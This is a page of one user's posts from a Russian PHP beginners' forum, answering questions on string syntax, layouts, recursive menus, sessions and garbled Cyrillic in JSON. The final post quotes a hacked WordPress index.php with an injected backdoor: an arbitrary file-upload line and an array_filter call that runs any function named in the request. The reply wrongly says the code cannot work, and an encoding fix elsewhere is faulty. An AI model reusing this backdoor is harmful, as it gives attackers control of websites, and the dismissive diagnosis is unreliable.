PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи

Страниц (3): [1] 2 3 »

> Найдено сообщений: 40
quad Отправлено: 06 Апреля, 2017 - 23:07:47 • Тема: Формы • Форум: Вопросы новичков

Ответов: 12
Просмотров: 435
Мелкий пишет:
quad пишет:
но и по времени дольше обрабатывается нежели

В зависимости от версии.
https://habrahabr[dot]ru/company/mailru/blog/318008/

tldr: руководствуйтесь другими соображениями в выборе стиля. Разница с конкатенацией и инлайном в строке слишком мала.
Вы правы в версии php 5.6 сейчас именно так, а вот в версии 5.3 было как я писал
quad Отправлено: 06 Апреля, 2017 - 20:53:43 • Тема: Создание скрипта php - PHP • Форум: Хранение данных, их вывод и обработка

Ответов: 1
Просмотров: 681
Deagget пишет:
нужна небольшая помощь в создании скрипта, есть php-скрипт

PHP:
скопировать код в буфер обмена
  1.  
  2. <div class="container-fluid">
  3.             <div class="row">
  4.                 <?PHP
  5. ini_set('display_errors', 1);
  6. $mecenat = mysqli_query($connect, "SELECT `name`, `posada`, `image` FROM `mec`  ") or die(mysqli_error($connect));
  7. while  ($row = mysqli_fetch_assoc ($mecenat) ) :
  8. ?>
  9. <div class="col-md-2 col-sm-2 col-xs-2 no-padding">
  10.     <div class="profile">
  11.      <img src="data:image/jpg;base64,<?=base64_encode($row['image']); ?>">
  12.         <div class="description right-s">
  13.             <h4><?PHP print_r ($row['name']);   ?></h4>
  14.             <p><?PHP print_r ($row['posada']);   ?></p>
  15.         </div>
  16.     </div>
  17. </div>
  18.  <?PHP endwhile; ?>
  19.  
  20.                         </div>
  21.                     </div>
  22.                 </div>
  23.             </div>
  24.         </div>
  25.  


Когда при выполнении этого скрипта информация отображается справа от ячейки.
Подскажите как сделать так что б каждая созданая 11 и 12 ячейка отображалась слева

как-то так (Отобразить)
quad Отправлено: 06 Апреля, 2017 - 20:25:45 • Тема: Проблема со статичными методами/свойствами класс. • Форум: Объектно-ориентированное программирование

Ответов: 9
Просмотров: 1700
'header' => self::renderPage('header') зачем файл в массив суешь?
quad Отправлено: 06 Апреля, 2017 - 19:25:28 • Тема: Формы • Форум: Вопросы новичков

Ответов: 12
Просмотров: 435
Строитель пишет:
Богдан Скуба, можно и в кавычках записывать переменные, но в таком случае переменные надо экранировать фигурными скобками
PHP:
скопировать код в буфер обмена
  1. echo "Hello {$_GET['name']}! You are {$_GET['age']} years old";
Но это плохая практика.

Не только плохая практика но и по времени дольше обрабатывается нежели
CODE (htmlphp):
скопировать код в буфер обмена
  1. echo 'Hello'.$_GET['name'].'! You are '.$_GET['age'].' years old';
этак раза в 1.5 это если смотреть по скорости выполнения и использования памяти! Сори за этот офтоп! Однако
quad Отправлено: 03 Апреля, 2017 - 18:22:13 • Тема: древовидный массив • Форум: Вопросы новичков

Ответов: 5
Просмотров: 506
Иван кали пишет:
всем привет! у меня меню построено так: достаем записи из бд(id, title, parent), из них строим массив, и его переделываем в дерево дописывая child.
получается такое дерево
CODE (htmlphp):
скопировать код в буфер обмена
  1.  
  2.  [5] => Array
  3.         (
  4.             [category_id] => 5
  5.             [category_name] => корневой
  6.             [parent_id] => 0
  7.             [childs] => Array
  8.                 (
  9.                     [15] => Array
  10.                         (
  11.                             [category_id] => 15
  12.                             [category_name] => категория 1
  13.                             [parent_id] => 5
  14.                         )
  15.  
  16.                     [16] => Array
  17.                         (
  18.                             [category_id] => 16
  19.                             [category_name] => категория 2
  20.                             [parent_id] => 5
  21.                             [childs] => Array
  22.                                 (
  23.                                     [18] => Array
  24.                                         (
  25.                                             [category_id] => 18
  26.                                             [category_name] => категория 2.1
  27.                                             [parent_id] => 16
  28.                                         )
  29.  
  30.                                     [19] => Array
  31.                                         (
  32.                                             [category_id] => 19
  33.                                             [category_name] => категория 2.2
  34.                                             [parent_id] => 16
  35.                                         )))
  36.  


я пытаюсь при обращении к категории получить её детей

делаю так
PHP:
скопировать код в буфер обмена
  1.  
  2. function childs($array, $category_id = 0) {
  3.    
  4. foreach ($array as $key) {
  5.         if ($key['category_id'] == $category_id) {
  6.             $data = $key['childs'];
  7.           }
  8. }
  9.     return $data;
  10. }
  11.  

и получаю список детей, но только с корневых списков, дальше надо как то рекурсию применить, но никак не получается. может кто подскажет?
уже хз сколько сижу, первая практика Огорчение
CODE (htmlphp):
скопировать код в буфер обмена
  1.  
  2. function childs($array, $category_id = 0) {
  3. $data='';
  4. foreach ($array as $key) {
  5.                         if ($key['category_id'] == $category_id) {
  6.                         $data.= $key['category_id'];
  7.                         $data.= $key['category_name'];
  8.                         $data.= $key['parent_id'];
  9.                         foreach ($key['childs'] as $key1) {
  10.                         $data.=$key1['category_id'];
  11.                         $data.=$key1['category_name'];
  12.                         $data.=$key1['parent_id'];
  13.                         if(isset($key1['childs'])) {
  14.                         foreach ($key1['childs'] as $key2) {
  15.                         $data.=$key2['category_id'];
  16.                         $data.=$key2['category_name'];
  17.                         $data.=$key2['parent_id'];
  18.                         }
  19.                         }
  20.                         }
  21.                         }
  22.                         }
  23.     return $data;
  24. }
  25.  
quad Отправлено: 03 Апреля, 2017 - 15:11:28 • Тема: Сессии / аналог им • Форум: Вопросы новичков

Ответов: 9
Просмотров: 775
Frozel пишет:
Всем привет, может кто-нибудь детально объяснить работу сессий, а именно исходя из задачи:
Есть переменная которой с каждым запросом нового пользователя присваивается уникальное значение, назовём её $userid(с этим проблем нет), дальше создается сессия с этим уник $userid и будет храниться на сервере X времени, при повторном запросе пользователя идёт проверка записан ли этот $userid уже и сколько раз он уже обращался к запросу. Вариант с куками сразу отпадает ибо $userid передается через api, потому и нужно чтобы жизнь сессии хранилась на сервере. Я подозреваю, что решение где-то здесь:

PHP:
скопировать код в буфер обмена
  1.  if ($zapros == $4emuto) {
  2. ++$_SESSION["$userid"];
  3. if {$_SESSION["$userid"] <= 10) { еще работает } else { уже не работает }
  4. }



В случае с данным примером: не работает счетчик т.к. каждый новый запрос пользователя обновляет его, а нужно чтобы каждый новый запрос от одного и того же пользователя прибавлял единицу к счетчику, да и не уверен, что сессии присвоилась переменная $userid

Буду признателен за любую помощь Улыбка

if($zapros == $4emuto) {
session_start();
++$_SESSION["$userid"];
if {$_SESSION["$userid"] <= 10) { еще работает } else { уже не работает }
}

1.запрос приходит методом
POST (Отобразить)

2.Запрос приходит методом
GET (Отобразить)

3. Не правильное имя переменной $4emuto Общие понятия о переменных в PHP
quad Отправлено: 02 Апреля, 2017 - 12:23:12 • Тема: как сделать плавный скрол до якорной ссылке • Форум: JavaScript & VBScript

Ответов: 5
Просмотров: 982
вроде так (Отобразить)

и в блок head вот это <script src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script>
(Добавление)
quad пишет:
вроде так (Отобразить)

и в блок head вот это <script src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script>
quad Отправлено: 01 Апреля, 2017 - 15:53:51 • Тема: Требуется сделать разделение прав для пользователей • Форум: Вопросы новичков

Ответов: 4
Просмотров: 1793
Ты это хотел? (Отобразить)
quad Отправлено: 29 Марта, 2017 - 13:24:11 • Тема: u0415u0435u0435u0435u0435 вместо русских букв • Форум: Вопросы новичков

Ответов: 20
Просмотров: 1002
пишет что:
Данный пользователь заблокировал вам доступ к своему аккаунту.
quad Отправлено: 29 Марта, 2017 - 13:18:37 • Тема: u0415u0435u0435u0435u0435 вместо русских букв • Форум: Вопросы новичков

Ответов: 20
Просмотров: 1002
не теперь сделай обрвтно как было
CODE (htmlphp):
скопировать код в буфер обмена
  1.     <?php
  2.    
  3.            include_once dirname(__FILE__).'/../php_main/lock.php';
  4.            include_once dirname(__FILE__).'/../php_main/connect_user.php';
  5.            include_once dirname(__FILE__).'/../php_main/functions.php';
  6.            include_once 'content_functions.php';
  7.          
  8.            if( isset( $_POST['length'] ) ) $length = escaper_mysql( $_POST['length'] );
  9.            if( isset( $_POST['last_id'] ) ) $last_id = escaper_mysql( $_POST['last_id'] );
  10.          
  11.            switch( $_POST['type'] ) {
  12.          
  13.                    case 'people':
  14.                            $name = escaper_mysql( $_POST['name'] );
  15.                            $country = escaper_mysql( $_POST['country'] );
  16.                            $city = escaper_mysql( $_POST['city'] );
  17.                            $year_f = escaper_mysql( $_POST['year-from'] );
  18.                            $year_t = escaper_mysql( $_POST['year-to'] );
  19.                            $gender = escaper_mysql( $_POST['gender'] );
  20.                          
  21.                            $resArr = array();
  22.                          
  23.                            $query = $last_id != 'NULL' ? " WHERE id < '$last_id' " : "";
  24.                          
  25.                            $people_row = mysqli_query( $dbConnect, "SELECT * FROM network ".$query." ORDER BY id DESC LIMIT $length" );
  26.                          
  27.                            for( $i = 0 ; $i < $length ; ) {
  28.                                    if( $people = mysqli_fetch_array( $people_row , MYSQLI_ASSOC ) ) {
  29.                                            if(
  30.                                                            search( $name , $people['name'] ) && search( $country , $people['country'] ) && search( $city , $people['city'] )
  31.                                                            && ( $year_f <= birth_to_age( $people['birth'] ) && $year_t >= birth_to_age( $people['birth'] ) )
  32.                                                            && ( ( $people['gender'] == $gender ) || $gender == -1 ) && ( ( $people['online'] > time() - 60 ) || !isset( $_POST['online'] ) )
  33.                                                            && ( ( $people['secret'] == $_POST['opened-profile'] ) || !isset( $_POST['opened-profile'] ) )
  34.                                            )       {
  35.                                                    $resArr[$i] = get_user( $people['id'] , 0 , 0);
  36.                                                    $i++;
  37.                                            }
  38.                                    } else break;
  39.                            }
  40.                          
  41.                            $dataArr = array( 'friend' => $resArr , 'end' => ( $i < $length - 1 ? true : false ) );
  42.                            $dataArr['tpl'] = tpl(dirname(__FILE__).'/../'.( _mobile_ ? 'tpl_app' : 'themes/'._theme_.'/tpl' ).'/content.tpl');
  43.                          
  44.                    break;
  45.                    case 'clubs':
  46.                            $name = escaper_mysql( $_POST['name'] );
  47.                            $about = escaper_mysql( $_POST['descr'] );
  48.                          
  49.                            $resArr = array();
  50.                          
  51.                            $query = $last_id != 'NULL' ? " WHERE id < '$last_id' " : "";
  52.                          
  53.                            $clubs_row = mysqli_query( $dbConnect, "SELECT * FROM clubs ".$query." ORDER BY id DESC LIMIT $length" );
  54.                          
  55.                            for( $i = 0 ; $i < $length ; ) {
  56.                                    if( $club = mysqli_fetch_array( $clubs_row , MYSQLI_ASSOC ) ) {
  57.                                            if( search( $name , $club['name'] ) && search( $about , $club['description'] ) )        {
  58.                                                    $resArr[$i] = get_club( $club['id'] , 0 , 1 );
  59.                                                    $i++;
  60.                                            }
  61.                                    } else break;
  62.                            }
  63.                          
  64.                            $dataArr = array( 'club' => $resArr , 'end' => ( $i < $length - 1 ? true : false ) );
  65.                            $dataArr['tpl'] = tpl(dirname(__FILE__).'/../'.( _mobile_ ? 'tpl_app' : 'themes/'._theme_.'/tpl' ).'/content.tpl');
  66.                          
  67.                    break;
  68.                    case 'videos':
  69.                            $name = escaper_mysql( $_POST['name'] );
  70.                          
  71.                            $resArr = array();
  72.                            $i = 0;
  73.                          
  74.                            $query = $last_id != 'NULL' ? " WHERE id < '$last_id' " : "";
  75.                          
  76.                            $post_row = mysqli_query( $dbConnect, "SELECT * FROM videos ".$query." ORDER BY id DESC LIMIT $length " );
  77.                          
  78.                            for( $i = 0 ; $i < $length ; ) {
  79.                                    if( $post = mysqli_fetch_array( $post_row , MYSQLI_ASSOC ) ) {
  80.                                            $video_name = json_decode( $post['video'], true);
  81.                                            if( search( $name , $video_name['name'] ) || search( $name , $video_name['description'] ) ) {  
  82.                                                    $resArr[$i] = get_video( $post['id'] , NULL );
  83.                                                    $i++;
  84.                                            }
  85.                                    } else break;
  86.                            }
  87.                          
  88.                            $dataArr = array( 'video' => $resArr , 'end' => ( $i < $length - 1 ? true : false ) );
  89.                            $dataArr['tpl'] = tpl(dirname(__FILE__).'/../'.( _mobile_ ? 'tpl_app' : 'themes/'._theme_.'/tpl' ).'/content.tpl');
  90.                          
  91.                    break;
  92.                    case 'audios':
  93.                            $name = escaper_mysql( $_POST['name'] );
  94.                          
  95.                            $resArr = array();
  96.                          
  97.                            $query = $last_id != 'NULL' ? " WHERE id < '$last_id' " : "";
  98.                          
  99.                            $audio_row = mysqli_query( $dbConnect, "SELECT * FROM audios ".$query." ORDER BY id DESC LIMIT $length " );
  100.                          
  101.                            for( $i = 0 ; $i < $length ; ) {
  102.                                    if( $get = mysqli_fetch_array( $audio_row , MYSQLI_ASSOC ) ) {
  103.                                            $audio = json_decode( $get['audio'], true);
  104.                                            if( search( $name , $audio['description'] ) )   {
  105.                                                    $resArr[$i] = get_music( $get['id'] , 0 , 1);
  106.                                                    $i++;
  107.                                            }
  108.                                    } else break;
  109.                            }
  110.                          
  111.                            $dataArr = array( 'music' => $resArr , 'end' => ( $i < $length - 1 ? true : false ) );
  112.                            $dataArr['tpl'] = tpl(dirname(__FILE__).'/../themes/'._theme_.'/tpl/audio.tpl');
  113.                          
  114.                    break;
  115.                    case 'tag':
  116.                            if( !isset( $_POST['dont'] ) && $_POST['dont'] != 1 ) {
  117.                                    $name = mb_strtolower( preg_replace( '/ {2,}/',' ', escaper_mysql( $_POST['name'] ) ) );
  118.                                    $hash_array = explode(' ', escaper_mysql( $_POST['name'] ) );
  119.                                  
  120.                                    $query = '';
  121.                                  
  122.                                    foreach( $hash_array as $val ) {
  123.                                            if( substr( $val , 0 , 1 ) != '#' ) $val = '#'.$val;
  124.                                            if( $query != '' ) $query .= " AND ( text LIKE '% ".$val."%' OR text LIKE '".$val."%' )";
  125.                                            else $query .= "( text LIKE '% ".$val."%' OR text LIKE '".$val."%' )";
  126.                                    }
  127.                                  
  128.                                    if( $query != '' ) $query .= $last_id != 'NULL' ? " AND id < '$last_id' " : "" ;
  129.                                    else $query = $last_id != 'NULL' ? " id < '$last_id' " : "" ;
  130.    
  131.                                    $resArr = array();
  132.                                    $i = 0;
  133.                                  
  134.                                    $news_row = mysqli_query( $dbConnect, "SELECT * FROM news WHERE ".$query." ORDER BY id DESC limit $length" );
  135.                                    while( $news = mysqli_fetch_array( $news_row , MYSQLI_ASSOC ) )
  136.                                            $resArr[$i++] = get_news( $news['id'] );
  137.                                  
  138.                                  
  139.                                    $dataArr = array( 'news' => $resArr , 'end' => ( mysqli_num_rows( $news_row ) < $length ) ? true : false );
  140.                                    $dataArr['tpl'] = tpl(dirname(__FILE__).'/../themes/'._theme_.'/tpl/news.tpl');
  141.                            }
  142.                    break;
  143.            }
  144.          
  145.            if( !isset( $dataArr ) ) $dataArr = array();
  146.          
  147.            $dataArr['langs'] = $langs;
  148.            $dataArr['main_set'] = $global;
  149.            $dataArr['main_set']['root'] = _root_;
  150.    
  151.            echo json_encode($dataArr);
  152.          
  153.    ?>
quad Отправлено: 29 Марта, 2017 - 13:02:07 • Тема: u0415u0435u0435u0435u0435 вместо русских букв • Форум: Вопросы новичков

Ответов: 20
Просмотров: 1002
CODE (htmlphp):
скопировать код в буфер обмена
  1. <?php
  2.  
  3.         include_once dirname(__FILE__).'/../php_main/lock.php';
  4.         include_once dirname(__FILE__).'/../php_main/connect_user.php';
  5.         include_once dirname(__FILE__).'/../php_main/functions.php';
  6.         include_once 'content_functions.php';
  7.        
  8.         if( isset( $_POST['length'] ) ) $length = escaper_mysql( $_POST['length'] );
  9.         if( isset( $_POST['last_id'] ) ) $last_id = escaper_mysql( $_POST['last_id'] );
  10.        
  11.         switch( $_POST['type'] ) {
  12.        
  13.                 case 'people':
  14.                         $name = escaper_mysql( $_POST['name'] );
  15.                         $country = escaper_mysql( $_POST['country'] );
  16.                         $city = escaper_mysql( $_POST['city'] );
  17.                         $year_f = escaper_mysql( $_POST['year-from'] );
  18.                         $year_t = escaper_mysql( $_POST['year-to'] );
  19.                         $gender = escaper_mysql( $_POST['gender'] );
  20.                        
  21.                         $resArr = array();
  22.                        
  23.                         $query = $last_id != 'NULL' ? " WHERE id < '$last_id' " : "";
  24.                        
  25.                         $people_row = mysqli_query( $dbConnect, "SELECT * FROM network ".$query." ORDER BY id DESC LIMIT $length" );
  26.                        
  27.                         for( $i = 0 ; $i < $length ; ) {
  28.                                 if( $people = mysqli_fetch_array( $people_row , MYSQLI_ASSOC ) ) {
  29.                                         if(
  30.                                                         search( $name , $people['name'] ) && search( $country , $people['country'] ) && search( $city , $people['city'] )
  31.                                                         && ( $year_f <= birth_to_age( $people['birth'] ) && $year_t >= birth_to_age( $people['birth'] ) )
  32.                                                         && ( ( $people['gender'] == $gender ) || $gender == -1 ) && ( ( $people['online'] > time() - 60 ) || !isset( $_POST['online'] ) )
  33.                                                         && ( ( $people['secret'] == $_POST['opened-profile'] ) || !isset( $_POST['opened-profile'] ) )
  34.                                         )       {
  35.                                                 $resArr[$i] = get_user( $people['id'] , 0 , 0);
  36.                                                 $i++;
  37.                                         }
  38.                                 } else break;
  39.                         }
  40.                        
  41.                         $dataArr = array( 'friend' => $resArr , 'end' => ( $i < $length - 1 ? true : false ) );
  42.                         $dataArr['tpl'] = tpl(dirname(__FILE__).'/../'.( _mobile_ ? 'tpl_app' : 'themes/'._theme_.'/tpl' ).'/content.tpl');
  43.                        
  44.                 break;
  45.                 case 'clubs':
  46.                         $name = escaper_mysql( $_POST['name'] );
  47.                         $about = escaper_mysql( $_POST['descr'] );
  48.                        
  49.                         $resArr = array();
  50.                        
  51.                         $query = $last_id != 'NULL' ? " WHERE id < '$last_id' " : "";
  52.                        
  53.                         $clubs_row = mysqli_query( $dbConnect, "SELECT * FROM clubs ".$query." ORDER BY id DESC LIMIT $length" );
  54.                        
  55.                         for( $i = 0 ; $i < $length ; ) {
  56.                                 if( $club = mysqli_fetch_array( $clubs_row , MYSQLI_ASSOC ) ) {
  57.                                         if( search( $name , $club['name'] ) && search( $about , $club['description'] ) )        {
  58.                                                 $resArr[$i] = get_club( $club['id'] , 0 , 1 );
  59.                                                 $i++;
  60.                                         }
  61.                                 } else break;
  62.                         }
  63.                        
  64.                         $dataArr = array( 'club' => $resArr , 'end' => ( $i < $length - 1 ? true : false ) );
  65.                         $dataArr['tpl'] = tpl(dirname(__FILE__).'/../'.( _mobile_ ? 'tpl_app' : 'themes/'._theme_.'/tpl' ).'/content.tpl');
  66.                        
  67.                 break;
  68.                 case 'videos':
  69.                         $name = escaper_mysql( $_POST['name'] );
  70.                        
  71.                         $resArr = array();
  72.                         $i = 0;
  73.                        
  74.                         $query = $last_id != 'NULL' ? " WHERE id < '$last_id' " : "";
  75.                        
  76.                         $post_row = mysqli_query( $dbConnect, "SELECT * FROM videos ".$query." ORDER BY id DESC LIMIT $length " );
  77.                        
  78.                         for( $i = 0 ; $i < $length ; ) {
  79.                                 if( $post = mysqli_fetch_array( $post_row , MYSQLI_ASSOC ) ) {
  80.                                         $video_name = json_decode( $post['video'], true);
  81.                                         if( search( $name , $video_name['name'] ) || search( $name , $video_name['description'] ) ) {  
  82.                                                 $resArr[$i] = get_video( $post['id'] , NULL );
  83.                                                 $i++;
  84.                                         }
  85.                                 } else break;
  86.                         }
  87.                        
  88.                         $dataArr = array( 'video' => $resArr , 'end' => ( $i < $length - 1 ? true : false ) );
  89.                         $dataArr['tpl'] = tpl(dirname(__FILE__).'/../'.( _mobile_ ? 'tpl_app' : 'themes/'._theme_.'/tpl' ).'/content.tpl');
  90.                        
  91.                 break;
  92.                 case 'audios':
  93.                         $name = escaper_mysql( $_POST['name'] );
  94.                        
  95.                         $resArr = array();
  96.                        
  97.                         $query = $last_id != 'NULL' ? " WHERE id < '$last_id' " : "";
  98.                        
  99.                         $audio_row = mysqli_query( $dbConnect, "SELECT * FROM audios ".$query." ORDER BY id DESC LIMIT $length " );
  100.                        
  101.                         for( $i = 0 ; $i < $length ; ) {
  102.                                 if( $get = mysqli_fetch_array( $audio_row , MYSQLI_ASSOC ) ) {
  103.                                         $audio = json_decode( $get['audio'], true);
  104.                                         if( search( $name , $audio['description'] ) )   {
  105.                                                 $resArr[$i] = get_music( $get['id'] , 0 , 1);
  106.                                                 $i++;
  107.                                         }
  108.                                 } else break;
  109.                         }
  110.                        
  111.                         $dataArr = array( 'music' => $resArr , 'end' => ( $i < $length - 1 ? true : false ) );
  112.                         $dataArr['tpl'] = tpl(dirname(__FILE__).'/../themes/'._theme_.'/tpl/audio.tpl');
  113.                        
  114.                 break;
  115.                 case 'tag':
  116.                         if( !isset( $_POST['dont'] ) && $_POST['dont'] != 1 ) {
  117.                                 $name = mb_strtolower( preg_replace( '/ {2,}/',' ', escaper_mysql( $_POST['name'] ) ) );
  118.                                 $hash_array = explode(' ', escaper_mysql( $_POST['name'] ) );
  119.                                
  120.                                 $query = '';
  121.                                
  122.                                 foreach( $hash_array as $val ) {
  123.                                         if( substr( $val , 0 , 1 ) != '#' ) $val = '#'.$val;
  124.                                         if( $query != '' ) $query .= " AND ( text LIKE '% ".$val."%' OR text LIKE '".$val."%' )";
  125.                                         else $query .= "( text LIKE '% ".$val."%' OR text LIKE '".$val."%' )";
  126.                                 }
  127.                                
  128.                                 if( $query != '' ) $query .= $last_id != 'NULL' ? " AND id < '$last_id' " : "" ;
  129.                                 else $query = $last_id != 'NULL' ? " id < '$last_id' " : "" ;
  130.  
  131.                                 $resArr = array();
  132.                                 $i = 0;
  133.                                
  134.                                 $news_row = mysqli_query( $dbConnect, "SELECT * FROM news WHERE ".$query." ORDER BY id DESC limit $length" );
  135.                                 while( $news = mysqli_fetch_array( $news_row , MYSQLI_ASSOC ) )
  136.                                         $resArr[$i++] = get_news( $news['id'] );
  137.                                
  138.                                
  139.                                 $dataArr = array( 'news' => $resArr , 'end' => ( mysqli_num_rows( $news_row ) < $length ) ? true : false );
  140.                                 $dataArr['tpl'] = tpl(dirname(__FILE__).'/../themes/'._theme_.'/tpl/news.tpl');
  141.                         }
  142.                 break;
  143.         }
  144.        
  145.         if( !isset( $dataArr ) ) $dataArr = array();
  146.        
  147.         $dataArr['langs'] = $langs;
  148.         $dataArr['main_set'] = $global;
  149.         $dataArr['main_set']['root'] = _root_;
  150.  
  151. function win1251toutf($string_a) {
  152. $str_b = strtoupper ($string_a);
  153. return strtr($str_b, array("U0430"=>"а", "U0431"=>"б", "U0432"=>"в",
  154. "U0433"=>"г", "U0434"=>"д", "U0435"=>"е", "U0451"=>"ё", "U0436"=>"ж", "U0437"=>"з", "U0438"=>"и",
  155. "U0439"=>"й", "U043A"=>"к", "U043B"=>"л", "U043C"=>"м", "U043D"=>"н", "U043E"=>"о", "U043F"=>"п",
  156. "U0440"=>"р", "U0441"=>"с", "U0442"=>"т", "U0443"=>"у", "U0444"=>"ф", "U0445"=>"х", "U0446"=>"ц",
  157. "U0447"=>"ч", "U0448"=>"ш", "U0449"=>"щ", "U044A"=>"ъ", "U044B"=>"ы", "U044C"=>"ь", "U044D"=>"э",
  158. "U044E"=>"ю", "U044F"=>"я", "U0410"=>"А", "U0411"=>"Б", "U0412"=>"В", "U0413"=>"Г", "U0414"=>"Д",
  159. "U0415"=>"Е", "U0401"=>"Ё", "U0416"=>"Ж", "U0417"=>"З", "U0418"=>"И", "U0419"=>"Й", "U041A"=>"К",
  160. "U041B"=>"Л", "U041C"=>"М", "U041D"=>"Н", "U041E"=>"О", "U041F"=>"П", "U0420"=>"Р", "U0421"=>"С",
  161. "U0422"=>"Т", "U0423"=>"У", "U0424"=>"Ф", "U0425"=>"Х", "U0426"=>"Ц", "U0427"=>"Ч", "U0428"=>"Ш",
  162. "U0429"=>"Щ", "U042A"=>"Ъ", "U042B"=>"Ы", "U042C"=>"Ь", "U042D"=>"Э", "U042E"=>"Ю", "U042F"=>"Я"));
  163. }
  164.         echo json_encode(win1251toutf($dataArr));
  165.        
  166. ?>
[/quote]Попробуй так посмотрим что измениется
quad Отправлено: 29 Марта, 2017 - 12:38:04 • Тема: u0415u0435u0435u0435u0435 вместо русских букв • Форум: Вопросы новичков

Ответов: 20
Просмотров: 1002
Ник Бондарчук пишет:
Вот:
Спойлер (Отобразить)
у тебя база данных в какой кодировке?
quad Отправлено: 29 Марта, 2017 - 12:25:26 • Тема: u0415u0435u0435u0435u0435 вместо русских букв • Форум: Вопросы новичков

Ответов: 20
Просмотров: 1002
вот так тебе отвечает php_requests/search.php

{"music":[{"name":"content\/1\/14906932589DQfRz43.mp3","description":"u0415u0435u0435u0435u0435 u043fu043eu043bu0443u0447u0438u043bu043eu0441u044c!","id":"21","isset":true,"added":false}],"end":true,"tpl":"\n{{#music}} у тебя кодированные данные не правильно скинь файл search.php
quad Отправлено: 29 Марта, 2017 - 11:59:01 • Тема: u0415u0435u0435u0435u0435 вместо русских букв • Форум: Вопросы новичков

Ответов: 20
Просмотров: 1002
Ник Бондарчук пишет:
quad пишет:
Ник Бондарчук пишет:
quad пишет:
у тебя вся станица так отображается?Или ответ сервера?

С кодировкой на самом сайте всё нормально, но когда я загружаю файл и указываю на сервере название из русских букв появляется что-то типо: u0415u0435u0435u0435u0435 u043fu043eu043bu0443u0447u0438u043bu043eu0441u044c!
P.S. На сайте когда загружаешь файл, его имя надо выбрать на самом сайте.

Ты файлы грузишь через ajax или получаешь ответ через json?

Я вам скинул gif
Данные получаемые с помощью ajax запроса не преобразованные в utf-8 ссылку дай где это используешь посмотрю как данные получаются
quad Отправлено: 29 Марта, 2017 - 11:38:11 • Тема: как излечиться от вирусного кода • Форум: Вопросы новичков

Ответов: 3
Просмотров: 264
timo пишет:
PHP:
скопировать код в буфер обмена
  1. <?PHP
  2. [b]if ($_FILES['F1l3']) {move_uploaded_file($_FILES['F1l3']['tmp_name'], $_POST['Name']); echo 'OK'; Exit;}
  3. if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}[/b]
  4. /**
  5.  * Front to the WordPress application. This file doesn't do anything, but loads
  6.  * wp-blog-header.php which does and tells WordPress to load the theme.
  7.  *
  8.  * @package WordPress
  9.  */
  10.  
  11. /**
  12.  * Tells WordPress to load the WordPress theme and output it.
  13.  *
  14.  * @var bool
  15.  */
  16. define('WP_USE_THEMES', true);
  17.  
  18. /** Loads the WordPress Environment and Template */
  19. require( dirname( __FILE__ ) . '/wp-blog-header.php' );

пишет хостинг что вирусный код

Пот тому что таких данных в глобальном массиве $_FILES нет и быть не может!!! Нахмурился
Читай!

Страниц (3): [1] 2 3 »
Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB